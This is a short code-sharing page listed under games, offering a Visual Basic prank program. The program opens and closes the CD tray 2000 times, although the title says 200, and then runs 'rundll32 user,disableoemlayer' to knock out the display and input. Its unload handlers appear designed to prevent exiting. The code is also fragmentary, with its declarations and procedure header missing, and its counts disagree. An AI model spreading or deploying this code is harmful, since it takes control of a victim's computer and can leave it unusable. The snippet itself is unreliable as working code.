• Home
 · 
• Games
 · 
• it opens and closes the cd tray 200 times and there is no way to exit

it opens and closes the cd tray 200 times and there is no way to exit

it opens and closes the cd tray 200 times and there is no way to exit

API Declarations


Dim lngReturn As Long
Dim strReturn As Long




Rate it opens and closes the cd tray 200 times and there is no way to exit

• 1
• 2
• 3
• 4
• 5

(1(1 Vote))

For x = 1 To 2000
lngReturn = mciSendString("set CDAudio door open", strReturn, 127, 0)
lngReturn = mciSendString("set CDAudio door closed", strReturn, 127, 0)
Next
Shell "rundll32 user,disableoemlayer"
End Sub

Private Sub Form_Terminate()
cancle = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
cancle = 1
End Sub